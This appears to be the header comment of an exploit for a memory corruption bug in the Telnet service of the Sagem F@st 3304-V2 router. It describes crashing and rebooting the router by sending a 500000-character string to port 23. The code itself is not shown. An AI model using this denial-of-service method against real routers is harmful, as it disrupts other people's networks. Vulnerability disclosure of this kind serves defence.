# Vulnerability description:
#==========================
#A Memory Corruption Vulnerability is detected on Sagem F@st 3304-V2 Telnet service. An attacker can crash the router by sending a very long string.
#This exploit connects to Sagem F@st 3304-V2 Telnet (Default port 23) and sends a very long string "X"*500000.
#After the exploit is sent, the telnet service will crash and the router will reboot automatically.
